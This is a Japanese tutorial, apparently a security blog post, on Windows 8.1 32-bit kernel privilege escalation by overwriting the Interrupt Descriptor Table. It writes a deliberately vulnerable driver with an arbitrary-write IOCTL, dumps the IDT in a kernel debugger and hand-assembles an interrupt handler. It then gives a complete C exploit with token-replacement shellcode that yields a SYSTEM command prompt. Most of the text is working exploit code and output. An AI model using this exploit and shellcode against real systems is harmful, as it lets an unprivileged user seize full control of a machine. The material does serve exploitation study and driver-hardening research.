WindowsでIDT overwriteによる権限昇格をやってみる
「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」では、HalDispatchTableの書き換えを行うことでシェルコードの実行を行った。 しかし、HalDispatchTableやその中のポインタを呼び出す関数の実装はOSのメジャーアップデートなどで変更される可能性があるため、将来的に確実であるとは限らない。 そこで、ここではより確実な方法として、Interrupt Descriptor Table(IDT)の書き換えを利用した権限昇格をやってみる。 IDTはx86アーキテクチャの仕様において割り込みの仕組みとともに定義されており、より変更されにくいものであるといえる。
なお、このエントリの内容については次のスライドでも説明している。
環境
Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015
>systeminfo OS Name: Microsoft Windows 8.1 Enterprise Evaluation OS Version: 6.3.9600 N/A Build 9600 OS Build Type: Multiprocessor Free System Type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz >ml Microsoft (R) Macro Assembler Version 14.00.23026.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
脆弱性のあるデバイスドライバを書いてみる
まず、「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様に、脆弱性のあるデバイスドライバを書いてみる。
/* vulndriver.c */ #include <wdm.h> #include <windef.h> #pragma warning(disable: 4100) #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) DRIVER_INITIALIZE DriverEntry; DRIVER_UNLOAD DriverUnload; DRIVER_DISPATCH handleUnsupported; DRIVER_DISPATCH handleIOCTL; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNICODE_STRING DeviceName, DosDeviceName; PDEVICE_OBJECT DeviceObject; RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln"); RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); IoCreateSymbolicLink(&DosDeviceName, &DeviceName); for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = handleUnsupported; } DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } VOID DriverUnload(PDRIVER_OBJECT DriverObject) { UNICODE_STRING DosDeviceName; RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoDeleteSymbolicLink(&DosDeviceName); IoDeleteDevice(DriverObject->DeviceObject); } NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) { return STATUS_NOT_SUPPORTED; } NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp); DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer; struct ioctl_aaw_arg *arg; switch (ioControlCode) { case IOCTL_AAW: arg = (struct ioctl_aaw_arg *)inputBuffer; *(arg->addr) = arg->value; break; } IoCompleteRequest(Irp, IO_NO_INCREMENT); return Irp->IoStatus.Status; }
上のコードは、\\.\Vuln
というデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。
プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成したら、scコマンドを使ってこれをロードしておく。
Interrupt Descriptor Table
x86アーキテクチャでは、int命令などにより割り込みが発生するとInterrupt Descriptor Table(IDT)と呼ばれるテーブルに格納されたハンドラ関数(Interrupt Service Routine; ISR)が呼ばれる。 ISRはRing 0(カーネルモード)の権限で実行される。
カーネルデバッグを行い、IDTの内容を調べてみると次のようになる。
kd> !idt -a Dumping IDT: 81114400 dfe3262500000000: 81d6f4fc nt!KiTrap00 dfe3262500000001: 81d6f6ac nt!KiTrap01 dfe3262500000002: Task Selector = 0x0058 dfe3262500000003: 81d6fbb0 nt!KiTrap03 dfe3262500000004: 81d6fd78 nt!KiTrap04 (snip) dfe32625000000fc: 81d6e2b0 nt!KiUnexpectedInterrupt204 dfe32625000000fd: 81c211dc hal!HalpTimerProfileInterrupt dfe32625000000fe: 81c214c0 hal!HalpPerfInterrupt dfe32625000000ff: 81d6e2d4 nt!KiUnexpectedInterrupt207 Dumping Secondary IDT: 00000000 kd> dc 81114400 81114400 0008f4fc 81d68e00 0008f6ac 81d68e00 ................ 81114410 00580000 00008500 0008fbb0 81d6ee00 ..X............. 81114420 0008fd78 81d6ee00 0008ff20 81d68e00 x....... ....... 81114430 000800d4 81d78e00 000807d4 81d78e00 ................ 81114440 00500000 00008500 000809e0 81d78e00 ..P............. 81114450 00080b3c 81d78e00 00080cb0 81d78e00 <............... 81114460 00080f70 81d78e00 000812cc 81d78e00 p............... 81114470 00081a34 81d78e00 00081ce8 81d78e00 4...............
IDTの各エントリはInterrupt Gateと呼ばれ、次のような8バイトのデータが格納されている。
上の結果から、たとえばint3
命令により3番の割り込みが発生した際はアドレス81d6fbb0にあるnt!KiTrap03
がISRとして実行されることがわかる。
また、Descriptor Privilege Level(DPL)は割り込みが可能なCPUの権限を表しており、3であればRing 3(ユーザモード)からの割り込みが可能であることを意味する。
この場合、3番のGateに対応する0008fbb0 81d6ee00
を見るとDPLが3となっており、ユーザモードからの割り込みが可能となっている。
以上を踏まえると、適当な番号のInterrupt GateをDPLを3とした上で書き換えることにより、任意のアドレスに置いたISRを実行できそうなことがわかる。
シェルコードを呼び出すISRを書いてみる
上を踏まえて、適当なシェルコードを呼び出すISRを書いてみると次のようになる。
; isr.asm .386 .model flat, stdcall .code start: pushad push fs mov ax, 30h mov fs, ax call shellcode pop fs popad iretd shellcode: ret end start
上のコードでは、まず各レジスタの値をスタックに退避した後、fsセグメントレジスタの値を0x33から0x30に切り替える。 ここで、0x33はユーザモードで参照されるTEB構造体、0x30はカーネルモードで参照されるKPCR構造体にそれぞれ対応する。 そして、ISRの直後に置かれたシェルコードをcallする。 最後に、スタックに退避した値をレジスタに戻し、ret命令の代わりにiretd命令でリターンする。
上のコードをアセンブルし、C文字列に変換すると次のようになる。
>ml isr.asm /link /subsystem:console >dumpbin /rawdata isr.exe Microsoft (R) COFF/PE Dumper Version 14.00.23026.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file isr.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: 60 0F A0 66 B8 30 00 66 8E E0 E8 04 00 00 00 0F `..f¸0.f.àè..... 00401010: A1 61 CF C3 ¡aÏÃ Summary 1000 .text >dumpbin /rawdata isr.exe | powershell -ex remotesigned -f getsc.ps1 \x60\x0F\xA0\x66\xB8\x30\x00\x66\x8E\xE0\xE8\x04\x00\x00\x00\x0F\xA1\x61\xCF\xC3
エクスプロイトコードを書いてみる
ここまでの内容をもとに、IDTの書き換えによりシェルコードを実行するエクスプロイトコードを書くと次のようになる。
/* exploit.c */ #include <windows.h> #include <stdio.h> #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; void replacePattern(char *buffer, int size, DWORD pattern, DWORD value) { for (int i = 0; i<size; i++) { if (*(DWORD *)(buffer + i) == pattern) { *(DWORD *)(buffer + i) = value; } } } ULONG sidt() { #pragma pack(push, 1) struct { USHORT limit; ULONG base; } idtr; #pragma pack(pop) __asm { sidt idtr; } return idtr.base; } int main() { DWORD BytesReturned; char isr[] = "\x60\x0F\xA0\x66\xB8\x30\x00\x66\x8E\xE0\xE8\x04\x00\x00\x00\x0F\xA1\x61\xCF"; char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3"; replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId()); LPVOID rwxMemory = VirtualAlloc((LPVOID)0x41410000, 0x20000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memset(rwxMemory, 0x90, 0x10000); memcpy((CHAR *)rwxMemory + 0x10000, isr, sizeof(isr) - 1); memcpy((CHAR *)rwxMemory + 0x10000 + sizeof(isr) - 1, shellcode, sizeof(shellcode)); ULONG idt_base = sidt(); struct ioctl_aaw_arg arg; arg.addr = (CHAR *)idt_base + 8 * 32 + 4; arg.value = (DWORD)0x4141ee00; HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); CloseHandle(hDevice); __asm { int 32; } WinExec("cmd", SW_SHOWNORMAL); return 0; }
上のコードの内容を簡単に説明すると次のようになる。
- 0x41410000から0x41420000にnop-sled、その直後にISRコードとシェルコードを配置する
- sidt命令を用いてIDTが置かれているアドレスを取得する
- デバイスドライバの脆弱性を用い、32番のInterrupt GateをISRアドレスの上位2バイトが0x4141、DPLが3となるように書き換える
- int命令を用いて32番の割り込みを発生させ、シェルコードを実行させる
- コマンドプロンプトを起動する
x86の仕様では32から255の割り込みはユーザ定義とされている(予約されていない)ため、ここでは32番の割り込みについて書き換えを行っている。 また、シェルコードには「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」で作成したReplace Token Shellcodeを利用している。
エクスプロイトコードをコンパイルし実行すると、次のスクリーンショットのようになる。
whoamiコマンドの結果がnt authority\system
となっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。
関連リンク
- Project Zero: One font vulnerability to rule them all #4: Windows 8.1 64-bit sandbox escape exploitation
- Interrupt Service Routines - OSDev Wiki
- SIMPLE IS BETTER: Kernel Information Leak with Unprivileged Instructions (SIDT, SGDT) on x86 - WHY ?
- Pop Pop Ret: Windows Kernel Exploitation Basics - Part 3 : Arbitrary Memory Overwrite exploitation using LDT